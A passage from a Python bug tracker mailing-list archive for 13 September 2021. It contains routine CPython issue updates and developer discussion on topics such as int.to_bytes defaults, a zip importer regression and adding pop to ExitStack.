Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631519310.3.0.385610407907.issue45182@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
keywords: +patch
pull_requests: +26719
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28305

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 03:49:57 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 07:49:57 +0000
Subject: [issue5846] Deprecate obsolete functions in unittest
In-Reply-To: <1240703100.05.0.329458142097.issue5846@psf.upfronthosting.co.za>
Message-ID: <1631519397.16.0.642499108238.issue5846@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 851811f5772c43f72f445e2ce1ac3ea9da951ae3 by Serhiy Storchaka in branch 'main':
bpo-5846: Do not use obsolete unittest functions. (GH-28303)
https://github.com/python/cpython/commit/851811f5772c43f72f445e2ce1ac3ea9da951ae3


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 04:17:40 2021
From: report at bugs.python.org (Yurii Karabas)
Date: Mon, 13 Sep 2021 08:17:40 +0000
Subject: [issue45167] deepcopy of GenericAlias with __deepcopy__ method is
 broken
In-Reply-To: <1631293792.65.0.39078575611.issue45167@roundup.psfhosted.org>
Message-ID: <1631521060.6.0.402926426921.issue45167@roundup.psfhosted.org>


Change by Yurii Karabas <1998uriyyo at gmail.com>:


----------
keywords: +patch
nosy: +uriyyo
nosy_count: 1.0 -> 2.0
pull_requests: +26720
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28306

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 04:19:04 2021
From: report at bugs.python.org (Yurii Karabas)
Date: Mon, 13 Sep 2021 08:19:04 +0000
Subject: [issue45167] deepcopy of GenericAlias with __deepcopy__ method is
 broken
In-Reply-To: <1631293792.65.0.39078575611.issue45167@roundup.psfhosted.org>
Message-ID: <1631521144.09.0.388893278297.issue45167@roundup.psfhosted.org>


Change by Yurii Karabas <1998uriyyo at gmail.com>:


----------
versions: +Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 04:36:45 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 08:36:45 +0000
Subject: [issue45167] deepcopy of GenericAlias with __deepcopy__ method is
 broken
In-Reply-To: <1631293792.65.0.39078575611.issue45167@roundup.psfhosted.org>
Message-ID: <1631522205.77.0.224397200608.issue45167@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

I think it is better to narrow the __getattr__. It can break protocols using other special methods.

----------
nosy: +gvanrossum, serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 05:14:41 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Mon, 13 Sep 2021 09:14:41 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631524481.47.0.117656770815.issue45155@roundup.psfhosted.org>


Petr Viktorin  added the comment:

> I?m not convinced.  I?m more concerned with the obscurity of the API.  If I saw its use in some code I was reviewing, I?d look it up, and then I?d know exactly what it was doing.

I know you would. But there are many others who just try things until they work.

Also, if this does become *the* way to create bytes, it won't be obscure any more -- but you'd still need to remember to always specify byteorder for length > 1. That is, unless you *want* platform-specific behavior, which I don't think is all that often. Even in this case, you want to think about the issue, and omitting the argument is a bad way to encode that you thought about it.


---

Hm, what happened to the idea of only requiring byteorder for `length > 1`? I recall it being discussed

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 05:28:57 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Mon, 13 Sep 2021 09:28:57 +0000
Subject: [issue45113] [subinterpreters][C API] Add a new function to create
 PyStructSequence from Heap.
In-Reply-To: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org>
Message-ID: <1631525337.49.0.642715010681.issue45113@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
nosy: +erlendaasland

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 05:29:46 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 09:29:46 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows:
 Py_DECREF() not inlined in PGO build
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631525386.32.0.029037765696.issue45116@roundup.psfhosted.org>


Change by STINNER Victor :


----------
title: Performance regression 3.10b1 and later on Windows -> Performance regression 3.10b1 and later on Windows: Py_DECREF() not inlined in PGO build

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:01:50 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Mon, 13 Sep 2021 11:01:50 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631530910.01.0.119124095182.issue45156@roundup.psfhosted.org>


Nikita Sobolev  added the comment:

I've proposed a solution, based on the assumption that we don't need to recurse into `_SpecState` props:

```
if isinstance(m._mock_children.get(attr), _SpecState):
   continue
```

It seems like a simple and reasonable thing to do.
Link: https://github.com/python/cpython/pull/28300

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:10:22 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 11:10:22 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631531422.24.0.84398392363.issue45182@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 9260e6739865c966c3ec6c5c289e0b96f848403e by Serhiy Storchaka in branch 'main':
bpo-45182: Fix incorrect use of requires_zlib in test_bdist_rpm (GH-28305)
https://github.com/python/cpython/commit/9260e6739865c966c3ec6c5c289e0b96f848403e


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:10:33 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 13 Sep 2021 11:10:33 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631531433.58.0.355914960053.issue45182@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 3.0 -> 4.0
pull_requests: +26721
pull_request: https://github.com/python/cpython/pull/28308

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:10:37 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 13 Sep 2021 11:10:37 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631531437.9.0.00602448863359.issue45182@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26722
pull_request: https://github.com/python/cpython/pull/28309

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:16:13 2021
From: report at bugs.python.org (Ghostkeeper)
Date: Mon, 13 Sep 2021 11:16:13 +0000
Subject: [issue45022] Update libffi to 3.4.2
In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org>
Message-ID: <1631531773.06.0.73917618085.issue45022@roundup.psfhosted.org>


Ghostkeeper  added the comment:

It seems this just broke our Windows build process of Python 3.8, since the cpython-bin-deps repository now contains only a libffi-8.lib while the the Python 3.8 branch still refers to libffi-7.lib in libffi.props: https://github.com/python/cpython/blob/5a42a49477cd601d67d81483f9589258dccb14b1/PCbuild/libffi.props#L13

----------
nosy: +Ghostkeeper

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:16:30 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 11:16:30 +0000
Subject: [issue45181] Rewrite loading sqlite3 tests
In-Reply-To: <1631517010.88.0.220838315131.issue45181@roundup.psfhosted.org>
Message-ID: <1631531790.52.0.599858017455.issue45181@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 3e19409d6443c66a6a7d62f58b2bb4e8330e56c4 by Serhiy Storchaka in branch 'main':
bpo-45181: Simplify loading sqlite3 tests (GH-28304)
https://github.com/python/cpython/commit/3e19409d6443c66a6a7d62f58b2bb4e8330e56c4


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:20:36 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 11:20:36 +0000
Subject: [issue45181] Rewrite loading sqlite3 tests
In-Reply-To: <1631517010.88.0.220838315131.issue45181@roundup.psfhosted.org>
Message-ID: <1631532036.54.0.188743697536.issue45181@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:29:05 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 13 Sep 2021 11:29:05 +0000
Subject: [issue45183] Unexpected exception with zip importer
Message-ID: <1631532545.02.0.971781687861.issue45183@roundup.psfhosted.org>


New submission from Ronald Oussoren :

The attached file demonstrates the problem:

If importlib.invalidate_caches() is called while the zipfile used by the zip importer is not available the import system breaks entirely. I found this in a testsuite that accedently did this (it should have updated sys.path). 

I get the following exception:

$ python3.10 t.py
Traceback (most recent call last):
  File "/Users/ronald/Projects/modulegraph2/t.py", line 27, in 
    import uu
  File "", line 1027, in _find_and_load
  File "", line 1002, in _find_and_load_unlocked
  File "", line 945, in _find_spec
  File "", line 1430, in find_spec
  File "", line 1402, in _get_spec
  File "", line 168, in find_spec
  File "", line 375, in _get_module_info
TypeError: argument of type 'NoneType' is not iterable


This exception is not very friendly....

This particular exception is caused by setting self._files to None in the importer's invalidate_caches method, while not checking for None in _get_modules_info. 

I'm not sure what the best fix would be, setting self._files to an empty list would likely be the easiest fix.

Note that the script runs without errors in Python 3.9.

----------
files: repro.py
keywords: 3.10regression
messages: 401698
nosy: ronaldoussoren
priority: normal
severity: normal
status: open
title: Unexpected exception with zip importer
versions: Python 3.10, Python 3.11
Added file: https://bugs.python.org/file50279/repro.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:29:39 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 13 Sep 2021 11:29:39 +0000
Subject: [issue45183] Unexpected exception with zip importer
In-Reply-To: <1631532545.02.0.971781687861.issue45183@roundup.psfhosted.org>
Message-ID: <1631532579.9.0.202782988622.issue45183@roundup.psfhosted.org>


Change by Ronald Oussoren :


----------
nosy: +pablogsal, twouters

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:35:17 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 13 Sep 2021 11:35:17 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631532917.05.0.0849858050788.issue45182@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 2f1d9bca144f3bbb4199111f4763ef05daea8526 by Miss Islington (bot) in branch '3.10':
bpo-45182: Fix incorrect use of requires_zlib in test_bdist_rpm (GH-28305)
https://github.com/python/cpython/commit/2f1d9bca144f3bbb4199111f4763ef05daea8526


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:35:41 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 13 Sep 2021 11:35:41 +0000
Subject: [issue45183] Unexpected exception with zip importer
In-Reply-To: <1631532545.02.0.971781687861.issue45183@roundup.psfhosted.org>
Message-ID: <1631532941.46.0.183800154647.issue45183@roundup.psfhosted.org>


Change by Ronald Oussoren :


----------
type:  -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 07:40:02 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Mon, 13 Sep 2021 11:40:02 +0000
Subject: [issue40080] Stripping annotations out as a new optimization mode
In-Reply-To: <1585263780.04.0.43303586086.issue40080@roundup.psfhosted.org>
Message-ID: <1631533202.41.0.758403904689.issue40080@roundup.psfhosted.org>


Change by Filipe La?ns :


----------
nosy: +FFY00

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 08:00:52 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Mon, 13 Sep 2021 12:00:52 +0000
Subject: [issue20524] format error messages should provide context information
In-Reply-To: <1391642595.93.0.722493013717.issue20524@psf.upfronthosting.co.za>
Message-ID: <1631534452.36.0.497713413132.issue20524@roundup.psfhosted.org>


Change by Nikita Sobolev :


----------
keywords: +patch
nosy: +sobolevn
nosy_count: 4.0 -> 5.0
pull_requests: +26723
stage: test needed -> patch review
pull_request: https://github.com/python/cpython/pull/28310

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 08:04:47 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Mon, 13 Sep 2021 12:04:47 +0000
Subject: [issue20524] format error messages should provide context information
In-Reply-To: <1391642595.93.0.722493013717.issue20524@psf.upfronthosting.co.za>
Message-ID: <1631534687.43.0.000320141127271.issue20524@roundup.psfhosted.org>


Nikita Sobolev  added the comment:

> I think that would require some major surgery to the code, but would be worth it.

I've decided to take an easy path: https://github.com/python/cpython/pull/28310

```
PyErr_Format(PyExc_ValueError,
                     "Invalid format specifier: '%s' for object of type '%s'",
                     PyUnicode_AsUTF8AndSize(format_spec, NULL),
                     Py_TYPE(obj)->tp_name);
```

This worked for me as the starting point. It covered: int, float, complex, and str types.

> Note that in your original example, you want the error to contain "{length:%HH:%MM}". By the time the error is detected, the only thing the code knows is the format specifier "%HH:%MM". It doesn't know the "length" part. 

I guess it has changed since the 2014.

I would love to hear any feedback on my proposal and improve it to the level when it can be merged :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 08:37:42 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 12:37:42 +0000
Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep()
 on Linux
In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za>
Message-ID: <1631536662.07.0.840650279538.issue21302@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 85a4748118c3793be7047ecbcbfc79dd07cb2a75 by Livius in branch 'main':
bpo-21302: Add clock_nanosleep() implementation for time.sleep() (GH-28111)
https://github.com/python/cpython/commit/85a4748118c3793be7047ecbcbfc79dd07cb2a75


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 08:43:44 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 12:43:44 +0000
Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep()
 on Linux
In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za>
Message-ID: <1631537024.24.0.346667516221.issue21302@roundup.psfhosted.org>


Change by STINNER Victor :


----------
pull_requests: +26724
pull_request: https://github.com/python/cpython/pull/28311

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 09:34:50 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Mon, 13 Sep 2021 13:34:50 +0000
Subject: [issue42135] [importlib] Deprecate find_module() & find_loader()
 mplementations
In-Reply-To: <1603494695.54.0.8376376438.issue42135@roundup.psfhosted.org>
Message-ID: <1631540090.44.0.389599416653.issue42135@roundup.psfhosted.org>


Change by Hugo van Kemenade :


----------
nosy: +hugovk
nosy_count: 1.0 -> 2.0
pull_requests: +26725
pull_request: https://github.com/python/cpython/pull/28312

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 09:41:40 2021
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Mon, 13 Sep 2021 13:41:40 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631540500.93.0.58651322666.issue45182@roundup.psfhosted.org>


?ric Araujo  added the comment:

At this point, it seems that there would be more value in reporting this to setuptools than on bpo.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 10:26:20 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 13 Sep 2021 14:26:20 +0000
Subject: [issue45168] dis output for LOAD_CONST  is confusing
In-Reply-To: <1631316661.34.0.984607812995.issue45168@roundup.psfhosted.org>
Message-ID: <1631543180.18.0.393751507108.issue45168@roundup.psfhosted.org>


Change by Irit Katriel :


----------
keywords: +patch
pull_requests: +26726
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28313

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 10:40:02 2021
From: report at bugs.python.org (Andreas H.)
Date: Mon, 13 Sep 2021 14:40:02 +0000
Subject: [issue45184] Add `pop` function to remove context manager from
 (Async)ExitStack
Message-ID: <1631544002.04.0.855227455654.issue45184@roundup.psfhosted.org>


New submission from Andreas H. :

Currently it is not possible to remove context managers from an ExitStack (or AsyncExitStack). 


Workarounds are difficult and generally do accesses implementation details of (Async)ExitStack.
See e.g. https://stackoverflow.com/a/37607405. It could be done as follows:


class AsyncExitStackWithPop(contextlib.AsyncExitStack):
    """Same as AsyncExitStack but with pop, i.e. removal functionality"""
    async def pop(self, cm):
        callbacks = self._exit_callbacks
        self._exit_callbacks = collections.deque()
        found = None
        while callbacks:
            cb = callbacks.popleft()
            if cb[1].__self__ == cm:
                found = cb
            else:
                self._exit_callbacks.append(cb)
        if not found:
            raise KeyError("context manager not found")
        if found[0]:
            return found[1](None,None,None)
        else:
            return await found[1](None, None, None)

The alternative is re-implementation of ExitStack with pop functionality, but that is also very difficult to get right (especially with exceptions). Which is probably the reason why there is ExitStack in the library at all.


So I propose to augment (Async)ExitStack with a `pop` method like above or similar to the above.


Use-Cases:

An example is a component that manages several connections to network services. 
During run-time the network services might need to change (i.e. some be disconnected and some be connected according to business logic), or handle re-connection events (ie. graceful response to network errors).
It is not too hard to imagine more use cases.
Essentially every case where dynamic resource management is needed and where single resources are managable with python context managers.

----------
components: Library (Lib)
messages: 401703
nosy: andreash, ncoghlan, yselivanov
priority: normal
severity: normal
status: open
title: Add `pop` function to remove context manager from (Async)ExitStack
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 10:45:40 2021
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 13 Sep 2021 14:45:40 +0000
Subject: [issue45022] Update libffi to 3.4.2
In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org>
Message-ID: <1631544340.04.0.812763789365.issue45022@roundup.psfhosted.org>


Zachary Ware  added the comment:

The 3.8 branch has been updated to point to the `libffi-3.3.0` tag; you can either update to the latest revision of 3.8 or pull in just 8c3a10e58b12608c3759fee684e7aa399facae2a

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 10:51:11 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 13 Sep 2021 14:51:11 +0000
Subject: [issue4492] httplib code thinks it closes connection, but does not
In-Reply-To: <1228241719.92.0.946688230988.issue4492@psf.upfronthosting.co.za>
Message-ID: <1631544671.68.0.854453245895.issue4492@roundup.psfhosted.org>


Irit Katriel  added the comment:

The code has changed quite a lot since this was created and it no longer matches the description in this issue.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 10:59:05 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 14:59:05 +0000
Subject: [issue41710] acquire(timeout) of threading.Lock and
 threading.Condition is affected by jumps in system time: Python should use
 sem_clockwait(CLOCK_MONOTONIC)
In-Reply-To: <1599208494.85.0.752607116191.issue41710@roundup.psfhosted.org>
Message-ID: <1631545145.6.0.953001190516.issue41710@roundup.psfhosted.org>


Change by STINNER Victor :


----------
title: Timeout is affected by jumps in system time -> acquire(timeout) of threading.Lock and threading.Condition is affected by jumps in system time: Python should use sem_clockwait(CLOCK_MONOTONIC)

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 11:40:36 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 15:40:36 +0000
Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep()
 on Linux
In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za>
Message-ID: <1631547636.91.0.111812977686.issue21302@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 85dc53a463967659075744ad911d08a32aa70dd5 by Victor Stinner in branch 'main':
bpo-21302: Update time.sleep() doc for clock_nanosleep() (GH-28311)
https://github.com/python/cpython/commit/85dc53a463967659075744ad911d08a32aa70dd5


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 11:45:02 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 15:45:02 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide: Linux kernel 5.15 regression
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1631547902.83.0.4901042215.issue45119@roundup.psfhosted.org>


STINNER Victor  added the comment:

Update: Frederic Weisbecker proposed a kernel fix:
https://lkml.org/lkml/2021/9/13/1647

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 12:22:04 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 16:22:04 +0000
Subject: [issue45184] Add `pop` function to remove context manager from
 (Async)ExitStack
In-Reply-To: <1631544002.04.0.855227455654.issue45184@roundup.psfhosted.org>
Message-ID: <1631550124.9.0.636061590062.issue45184@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

If you can remove context managers in arbitrary order it is no longer a stack.

I think that it is just a wrong tool for your problem. Just maintain a collection of opened connections. Set or dict can be better that list or deque.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 12:38:44 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Mon, 13 Sep 2021 16:38:44 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631445658.16.0.770802421368.issue45155@roundup.psfhosted.org>
Message-ID: 


Barry A. Warsaw  added the comment:

That?s okay, Brandt?s improved sys.byteorder is fastest .

% ./python.exe -m timeit -r11 -s 'x=3452452454524' 'x.to_bytes(10, "little")'
2000000 loops, best of 11: 94.6 nsec per loop
% ./python.exe -m timeit -r11 -s 'x=3452452454524' 'x.to_bytes(10, "big")'
2000000 loops, best of 11: 97.8 nsec per loop
% ./python.exe -m timeit -r11 -s 'x=3452452454524' 'x.to_bytes(10)'
5000000 loops, best of 11: 79.1 nsec per loop

On Sep 12, 2021, at 04:20, Raymond Hettinger  wrote:
> 
> Raymond Hettinger  added the comment:
> 
> Interestingly, "little" is faster than "big".
> 
> $ python3.10 -m timeit -r11 -s 'x=3452452454524' 'x.to_bytes(10, "little")'
> 5000000 loops, best of 11: 82.7 nsec per loop
> $ python3.10 -m timeit -r11 -s 'x=3452452454524' 'x.to_bytes(10, "big")'
> 5000000 loops, best of 11: 90.6 nsec per loop
> 
> ----------
> 
> _______________________________________
> Python tracker 
> 
> _______________________________________

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 12:39:06 2021
From: report at bugs.python.org (Richard)
Date: Mon, 13 Sep 2021 16:39:06 +0000
Subject: [issue38222] pathlib Path objects should support __format__
In-Reply-To: <1568872865.53.0.090540874839.issue38222@roundup.psfhosted.org>
Message-ID: <1631551146.91.0.758518526329.issue38222@roundup.psfhosted.org>


Richard  added the comment:

I would like for this to be reconsidered. Yes, you can use str(), but converting back and forth becomes really clunky:

log_dir = 'logs/{date}'
log_file = Path(str(path).format(time.strftime('%Y-%m-%d')) / 'log.txt'

----------
nosy: +nyuszika7h

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 12:39:59 2021
From: report at bugs.python.org (Richard)
Date: Mon, 13 Sep 2021 16:39:59 +0000
Subject: [issue38222] pathlib Path objects should support __format__
In-Reply-To: <1568872865.53.0.090540874839.issue38222@roundup.psfhosted.org>
Message-ID: <1631551199.85.0.724621569928.issue38222@roundup.psfhosted.org>


Richard  added the comment:

Sorry, that should have been:

log_dir = Path('logs/{date}')

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 12:47:19 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Mon, 13 Sep 2021 16:47:19 +0000
Subject: [issue38222] pathlib Path objects should support __format__
In-Reply-To: <1568872865.53.0.090540874839.issue38222@roundup.psfhosted.org>
Message-ID: <1631551639.46.0.0292233474804.issue38222@roundup.psfhosted.org>


Eric V. Smith  added the comment:

> log_dir = Path('logs/{date}')
> log_file = Path(str(path).format(time.strftime('%Y-%m-%d')) / 'log.txt'

(I think you're missing "date=" in the call to .format().)

Could you show what you think this would look like if Path.__format__ existed? I don't think anyone's suggesting that path.format() would be added by this issue, but maybe that would be a reasonable proposal as a different issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 12:52:43 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Mon, 13 Sep 2021 16:52:43 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631551963.64.0.777475024354.issue45155@roundup.psfhosted.org>


Barry A. Warsaw  added the comment:

I created a Discourse poll: https://discuss.python.org/t/what-should-be-the-default-value-for-int-to-bytes-byteorder/10616

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:08:43 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 13 Sep 2021 17:08:43 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631552923.32.0.198749938938.issue45182@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 218fe2cb798df32a722f61b95db280f6685ec3e6 by Miss Islington (bot) in branch '3.9':
bpo-45182: Fix incorrect use of requires_zlib in test_bdist_rpm (GH-28305)
https://github.com/python/cpython/commit/218fe2cb798df32a722f61b95db280f6685ec3e6


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:12:44 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 13 Sep 2021 17:12:44 +0000
Subject: [issue45173] Remove configparser deprecations
In-Reply-To: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org>
Message-ID: <1631553164.19.0.483068787634.issue45173@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 1fc41ae8709e20d741bd86c2345173688a5e84b0 by Hugo van Kemenade in branch 'main':
bpo-45173 Remove configparser deprecations (GH-28292)
https://github.com/python/cpython/commit/1fc41ae8709e20d741bd86c2345173688a5e84b0


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:18:12 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 13 Sep 2021 17:18:12 +0000
Subject: [issue45167] deepcopy of GenericAlias with __deepcopy__ method is
 broken
In-Reply-To: <1631293792.65.0.39078575611.issue45167@roundup.psfhosted.org>
Message-ID: <1631553492.78.0.619597905384.issue45167@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Serhiy, can you elaborate how GH-28306 can break protocols using other special methods? I can't come up with an example.

----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:24:14 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 13 Sep 2021 17:24:14 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631553854.61.0.388855675754.issue35474@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 9cd8fb8d6356c17dafa1be727cab3d438f6df53f by Miss Islington (bot) in branch '3.9':
bpo-35474: Fix mimetypes.guess_all_extensions() potentially mutating list (GH-28286) (GH-28290)
https://github.com/python/cpython/commit/9cd8fb8d6356c17dafa1be727cab3d438f6df53f


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:24:33 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 13 Sep 2021 17:24:33 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
